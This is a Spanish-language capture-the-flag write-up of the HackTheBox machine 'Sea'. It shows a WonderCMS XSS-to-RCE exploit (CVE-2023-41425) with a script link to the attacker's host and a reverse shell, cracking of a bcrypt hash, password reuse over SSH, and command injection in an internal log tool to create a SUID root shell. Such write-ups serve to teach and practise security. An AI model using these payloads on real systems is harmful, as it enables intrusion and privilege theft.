Sea – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Sea” es una máquina de dificultad fácil de la plataforma HackTheBox
. El servidor víctima se encuentre corriendo un servicio web. Luego de fuzzear por directorios, eventualmente encontramos que éste se encuentra corriendo WonderCMS
. Somos entonces capaces de encontrar una vulnerabilidad catalogada como CVE-2023-41425 la cual abusa un una vulnerabilidad Cross Site Scripting
(XSS
) para derivarla luego en una ejecución remota de comandos; esto nos permite ganar acceso inicial a la máquina víctima. Ya dentro de ésta, somos capaces de encontrar y crackear un hash. Esta contraseña es usada por uno de los usuarios existentes dentro de la máquina víctima, permitiéndonos pivotear a éste. Ya como este nuevo usuario, encontramos un sitio web interno reutilizando las credenciales previamente halladas. Este servicio web es vunlerable a inyección de comandos. Además, este servicio web está siendo ejecutado por el usuario root
, lo cual nos permite ganar control total sobre la máquina víctima.
User / Usuario Link to heading
Empezamos con un rápido escaneo con Nmap
:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.28
El escaneo muestra sólo 2 puertos abiertos: 22
SSH
y 80
HTTP
.
Aplicamos algunos escaneos de reconocimiento usando la flag -sVC
sobre estos puertos:
❯ sudo nmap -sVC -p22,80 10.10.11.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 23:27 -03
Nmap scan report for 10.10.11.28
Host is up (0.30s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Sea - Home
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.69 seconds
Además, podemos aplicar un pequeño escaneo usando la herramienta WhatWeb
sobre el sitio web del servicio HTTP
:
❯ whatweb -a 3 http://10.10.11.28
http://10.10.11.28 [200 OK] Apache[2.4.41], Bootstrap[3.3.7], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.28], JQuery[1.12.4], Script, Title[Sea - Home], X-UA-Compatible[IE=edge]
Pero no vemos mucha diferencia del escaneo ya aplicado por Nmap
. Sólo que el sitio está usando PHP
.
Visitando http://10.10.11.28
muestra una simple página web acerca de bicicletas:
Si clickeamos en la pestaña How to participate
y luego en el texto Contact
(en un texto con título How can I participate?
), éste nos redirige a http://sea.htb/contact
. Por ende, agregamos este dominio a nuestro archivo /etc/hosts
ejecutando en una terminal:
❯ echo '10.10.11.28 sea.htb' | sudo tee -a /etc/hosts
Podemos ahora visitar http://sea.htb/contact.php
, donde vemos un formulario:
Si nos registramos con un usuario aleatorio simplemente obtenemos un mensaje Form submitted succesfully!
.
Para revisar qué es lo que se envia en este formulario interceptamos la data enviada al servidor utilizando Burpsuite
. Realizando esto podemos ver la petición:
POST /contact.php HTTP/1.1
Host: sea.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Origin: http://sea.htb
DNT: 1
Connection: close
Referer: http://sea.htb/contact.php
Cookie: PHPSESSID=ok1qkjivhhpqb4qcfjg16on5sa
Upgrade-Insecure-Requests: 1
name=test&email=test%40test.com&age=99&country=yes&website=http%3A%2F%2Fgoogle.com
Intentamos algunas inyecciones, pero ninguna de ellas funciona.
Entonces buscamos por directorios a través de un Brute Force Directory Listing
con la herramienta Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://sea.htb -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://sea.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 199]
/0 (Status: 200) [Size: 3650]
/themes (Status: 301) [Size: 230] [--> http://sea.htb/themes/]
/index.php (Status: 200) [Size: 3650]
/contact.php (Status: 200) [Size: 2731]
/data (Status: 301) [Size: 228] [--> http://sea.htb/data/]
/home (Status: 200) [Size: 3650]
/plugins (Status: 301) [Size: 231] [--> http://sea.htb/plugins/]
/messages (Status: 301) [Size: 232] [--> http://sea.htb/messages/]
/404 (Status: 200) [Size: 3341]
/%20 (Status: 403) [Size: 199]
/%20.php (Status: 403) [Size: 199]
<SNIP>
Tenemos 3 directorios los cuales retornan código 301 Moved Permanently
. Esto significa que los directorios existen (simplemente agregando /
al final de éstos). Sin embargo, no somos capaces de acceder directamente a ellos.
Buscamos por más directorios dentro de los directorios /themes
, /data
, /messages
y /plugins
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://sea.htb/data -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://sea.htb/data
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 199]
/home (Status: 200) [Size: 3650]
/files (Status: 301) [Size: 234] [--> http://sea.htb/data/files/]
/404 (Status: 200) [Size: 3341]
/%20 (Status: 403) [Size: 199]
/%20.php (Status: 403) [Size: 199]
<SNIP>
Tenemos un directorio /data/home
y/data/files
.
Visitando http://sea.htb/data/home
simplemente redirige la página principal del sitio web, la cual es exactamente la misma página web que vemos al visitar http://sea.htb/home
. Encontramos algo similar al escanear la ruta /themes
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://sea.htb/themes -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://sea.htb/themes
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 199]
/home (Status: 200) [Size: 3650]
/404 (Status: 200) [Size: 3341]
/%20 (Status: 403) [Size: 199]
/%20.php (Status: 403) [Size: 199]
/bike (Status: 301) [Size: 235] [--> http://sea.htb/themes/bike/]
<SNIP>
Y volvemos a tener la misma historia: /themes/home
simplemente muestra el contenido del directorio /home
.
Buscando más archivos en la ruta /themes/bike/
muestra más archivos aún:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://sea.htb/themes/bike -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://sea.htb/themes/bike
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 199]
/home (Status: 200) [Size: 3650]
/img (Status: 301) [Size: 239] [--> http://sea.htb/themes/bike/img/]
/version (Status: 200) [Size: 6]
/css (Status: 301) [Size: 239] [--> http://sea.htb/themes/bike/css/]
/summary (Status: 200) [Size: 66]
/theme.php (Status: 500) [Size: 227]
/404 (Status: 200) [Size: 3341]
/LICENSE (Status: 200) [Size: 1067]
/%20.php (Status: 403) [Size: 199]
/%20 (Status: 403) [Size: 199]
<SNIP>
Revisando las rutas con código de estado 200
con cURL
retorna:
❯ curl -s http://sea.htb/themes/bike/version
3.2.0
❯ curl -s http://sea.htb/themes/bike/summary
Animated bike theme, providing more interaction to your visitors.
Este último texto parece ser una descripción para algo.
Buscando por aquel texto en Google (pero citándolo con "
para aplicar un Google Dork, de manera que Google busca ese string de manera textual) obtenemos:
Encontramos este archivo en Github.
Encontramos un software: WonderCMS
y su versión 3.2.0
. Buscando qué es lo que es este software obtenemos:
WonderCMS
is an extremely small flat file Content Management System
(CMS
). It’s fast, responsive and doesn’t require any configuration. It provides a simple way for creating and editing websites.Ghost
, WordPress
, entre otros.Buscando por exploits para este software y su versión, encontramos la vulnerabilidad catalogada como CVE-2023-41425 la cual permite Remote Code Execution
(RCE
, o ejecución remota de comandos) luego de encadenarla con otra vulnerabilidad Cross-Site Scripting
(XSS
). Además, hay un repositorio con un PoC en Github. Este código requiere uno de los archivos que vienen incluidos en el repositorio (que es un archivo .zip
). También hay algunos repositorios de Github ya adaptados los cuales facilitan hacer una solicitud HTTP
a un servidor local en nuestra máquina de atacante como éste. Lo clonamos y lo ejecutamos:
❯ python3 exploit.py -u http://sea.htb/loginURL -i 10.10.16.2 -p 443 -r http://10.10.16.2:8000/main.zip
<SNIP>
[+] Send the below link to admin:
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.2:8000/xss.js"></script><form+action="
Starting HTTP server with Python3, waiting for the XSS request
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Donde 10.10.16.2
es nuestra IP de atacante y 443
es el puerto en el cual nos pondremos en escucha con nc
para obtener uan reverse shell.
El script genera un link el cual necesita ser enviado al usuario y, una vez clickeado éste, descargará el archivo .zip
y desencadenará en la reverse shell. Empezamos un listener con nc
en el puerto 443
en una terminal aparte:
❯ nc -lvnp 443
Haciendo memoria, la única parte en la cual podíamos enviar un link al servidor víctima era en el formulario de contacto del sitio web. De manera que ponemos el link generado por el script allí:
Luego de algunos segundos, obtenemos una solicitud GET
a nuestro servidor HTTP
del script:
<SNIP>
Starting HTTP server with Python3, waiting for the XSS request
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.28 - - [16/Nov/2024 00:55:43] "GET /xss.js HTTP/1.1" 200 -
10.10.11.28 - - [16/Nov/2024 00:55:52] "GET /main.zip HTTP/1.1" 200 -
10.10.11.28 - - [16/Nov/2024 00:55:53] "GET /main.zip HTTP/1.1" 200 -
10.10.11.28 - - [16/Nov/2024 00:55:54] "GET /main.zip HTTP/1.1" 200 -
10.10.11.28 - - [16/Nov/2024 00:55:55] "GET /main.zip HTTP/1.1" 200 -
y, en el listener con netcat
, obtenemos una shell como el usuario www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.28] 47568
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
03:55:56 up 1:36, 0 users, load average: 0.97, 0.93, 0.53
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Dado que somos el usuario www-data
, deberíamos buscar por bases de datos en el sistema o archivos de configuración a los cuales este usuario tiene acceso. Eventualmente, encontramos un archivo database.js
en la ruta /var/www/sea/data
:
{
"config": {
"siteTitle": "Sea",
"theme": "bike",
"defaultPage": "home",
"login": "loginURL",
"forceLogout": false,
"forceHttps": false,
"saveChangesPopup": false,
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
"lastLogins": {
"2024\/11\/16 03:55:42": "127.0.0.1",
"2024\/11\/16 03:52:11": "127.0.0.1",
"2024\/11\/16 03:49:41": "127.0.0.1",
"2024\/11\/16 03:46:11": "127.0.0.1",
"2024\/11\/16 02:53:03": "127.0.0.1"
},
<SNIP>
Podemos ver un hash: $2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q
(donde hemos removido los backslashes \
, dado que estos se usan para formatear y reconocer el caracter /
correctamente, pero no son parte del hash original).
Guardamos este hash en un archivo llamado hash_found
. Revisamos si podemos crackear este hash a través de un Brute Force Password Cracking
con la herramienta john
junto con el diccionario rockyou.txt
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash_found
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mychemicalromance (?)
1g 0:00:00:14 DONE (2024-12-20 21:18) 0.06949g/s 212.6p/s 212.6c/s 212.6C/s cortez..memories
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Obtenemos una contraseña: mychemicalromance
.
Revisamos qué usuarios tenemos en la máquina víctima:
www-data@sea:/var/www/sea/data$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash
Excluyendo root
, tenemos 2 usuarios. Guardamos ambos usuarios en un archivo llamado users.txt
y revisamos si esta contraseña corresponde para el servicio SSH
para alguno de estos usuarios usando la herramienta NetExec
:
❯ nxc ssh 10.10.11.28 -u users.txt -p 'mychemicalromance'
SSH 10.10.11.28 22 10.10.11.28 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH 10.10.11.28 22 10.10.11.28 [+] amay:mychemicalromance Linux - Shell access!
Tenemos credenciales: amay:mychemicalromance
.
Finalmente, nos conectamos a través del servicio SSH
como el usuario amay
:
❯ sshpass -p 'mychemicalromance' ssh -o stricthostkeychecking=no amay@10.10.11.28
amay@sea:~$ id
uid=1000(amay) gid=1000(amay) groups=1000(amay)
Podemos obtener la flag de usuario en el directorio /home
de este usuario.
Root Link to heading
Revisando por puertos internos abiertos, podemos ver 2 nuevos los cuales no habían sido mostrados/detectados previamente por el escaneo con Nmap
:
amay@sea:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 10 127.0.0.1:40741 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
Los puertos 40741
y 8080
son nuevos.
Sólo el puerto 8080
muestra algo. Podemos usar curl
para revisar si este puerto interno es un servicio web/alberga un sitio web:
amay@sea:~$ curl -s http://127.0.0.1:8080 | head ; echo
Unauthorized access
Tenemos el mensaje Unauthorized access
. No obstante, este mensaje es el que obtenemos usualmente cuando un sitio web HTTP
pregunta por credenciales y no las damos. Por lo que vale la pena darle una oportunidad a este puerto.
Performamos entonces un Local Port Forwarding
, conviertiendo el puerto 8080
de nuestra máquina víctima en nuestro puerto local 4444
. Salimos de la sesión actual de SSH
y nos reconectamos en la máquian víctima usando esta vez el comando para establecer el túnel:
❯ sshpass -p 'mychemicalromance' ssh -o stricthostkeychecking=no -L 4444:127.0.0.1:8080 amay@10.10.11.28
Una vez ha sido establecido el túnel, visitamos http://127.0.0.1:4444
en un navegador de internet como Firefox
y podemos ver por qué el sitio web mostraba el mensaje Unauthorized access
; el sitio web pregunta por un usuario y contraseña:
Reutilizando las credenciales del usuario amay
funciona, estamos dentro:
Podemos ver que el programa está usando un disco localizado en /dev/mapper/ubuntu--vg-ubuntu--lv
.
Éste se trata de un enlace simbólico:
amay@sea:~$ ls -la /dev/mapper/ubuntu--vg-ubuntu--lv
lrwxrwxrwx 1 root root 7 Nov 16 02:19 /dev/mapper/ubuntu--vg-ubuntu--lv -> ../dm-0
El sitio nos permite leer archivos. Pero más allá de eso no podemos ver mucho más. Podemos interceptar la petición enviada cuando clickeamos en Analyze
utilizando nuevamente Burpsuite
. Obtenemos así:
POST / HTTP/1.1
Host: 127.0.0.1:4444
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Origin: http://127.0.0.1:4444
DNT: 1
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
Connection: close
Referer: http://127.0.0.1:4444/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
log_file=%2Fvar%2Flog%2Fapache2%2Faccess.log&analyze_log=
Enviamos la petición al Repeater
. Si intentamos leer un archivo como /etc/passwd
obtenemos:
POST / HTTP/1.1
Host: 127.0.0.1:4444
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://127.0.0.1:4444
DNT: 1
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
Connection: close
Referer: http://127.0.0.1:4444/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
log_file=/etc/passwd&analyze_log=
Obtenemos una respuesta:
<SNIP>
</form>
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
_laurel:x:997:997::/var/log/laurel:/bin/false
<p class='error'>Suspicious traffic patterns detected in /etc/passwd:</p><pre>_laurel:x:997:997::/var/log/laurel:/bin/false</pre>
<SNIP>
Además, podemos ver el texto:
Suspicious traffic patterns detected in /etc/passwd
Somos capaces de leer archivos. Pero el archivo a leer no es mostrado completamente.
Si intentamos leer /root/root.txt
simplemente obtenemos la respuesta Suspicious traffic
.
Intentando una inyección de comandos como /etc/passwd;id
el archivo es ahora mostrado completamente (no parcialmente como era antes):
POST / HTTP/1.1
Host: 127.0.0.1:4444
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: http://127.0.0.1:4444
DNT: 1
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
Connection: close
Referer: http://127.0.0.1:4444/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
log_file=/etc/passwd%3bid&analyze_log=
Y obtenemos la respuesta:
<SNIP>
<button type="submit" name="analyze_log" class="button">Analyze</button>
</form>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
<SNIP>
Si intentamos la inyección /etc/passwd;id;whoami
(luego de url-encodearlo) obtenemos la respuesta:
<SNIP>
geo:x:1001:1001::/home/geo:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
uid=0(root) gid=0(root) groups=0(root)
<SNIP>
Tenemos un Command Injection
(inyección de comandos).
Luego de muchas pruebas, concluyo lo siguiente. Si ponemos la inyección para n
comandos:
/etc/passwd;<command 1>;<command 2>;...;<command n-1>;<command n>
La inyección ejecutará hasta el comando n-1
.
De manera que, por ejemplo, si intentamos la inyección:
/etc/passwd;id;ping -c 1 10.10.16.2;id
Obtenemos, en efecto, un ping
(luego de iniciar un listener con el comando sudo tcpdump -ni tun0 icmp
, donde tun0
es el nombre de interfaz de red de HackTheBox
):
❯ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
03:31:11.825508 IP 10.10.11.28 > 10.10.16.2: ICMP echo request, id 5, seq 1, length 64
03:31:11.825520 IP 10.10.16.2 > 10.10.11.28: ICMP echo reply, id 5, seq 1, length 64
De manera que intentemos inyectar un comando que cree una copia del binario /bin/bash
y, a aquella copia, asignarle permisos SUID:
/etc/passwd;cp /bin/bash /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x; id
Finalmente, enviamos la petición HTTP
en Burpsuite
, en el Repeater
, con el comando descrito anteriormente:
POST / HTTP/1.1
Host: 127.0.0.1:4444
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/htmlapplication/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://127.0.0.1:4444
DNT: 1
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
Connection: close
Referer: http://127.0.0.1:4444/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
log_file=/etc/passwd%3bcp+/bin/bash+/tmp/gunzf0x%3b+chmod+4755+/tmp/gunzf0x%3bid&analyze_log=
Revisamos en la máquina víctima si nuestro archivo ha sido creado:
amay@sea:~$ ls -la /tmp
total 1212
drwxrwxrwt 14 root root 4096 Nov 16 06:36 .
drwxr-xr-x 19 root root 4096 Feb 21 2024 ..
drwxrwxrwt 2 root root 4096 Nov 16 02:19 .font-unix
-rwsr-xr-x 1 root root 1183448 Nov 16 06:36 gunzf0x
drwxrwxrwt 2 root root 4096 Nov 16 02:19 .ICE-unix
drwx------ 2 root root 4096 Nov 16 02:19 snap-private-tmp
<SNIP>
GG. Allí está.
Podemos ejecutarlo como el propietario (que será root
) usando el binario junto con la flag -p
:
amay@sea:~$ /tmp/gunzf0x -p
gunzf0x-5.0# whoami
root
Somos root
. Podemos leer la flag del usuario root en el directorio /root
.
~Happy Hacking.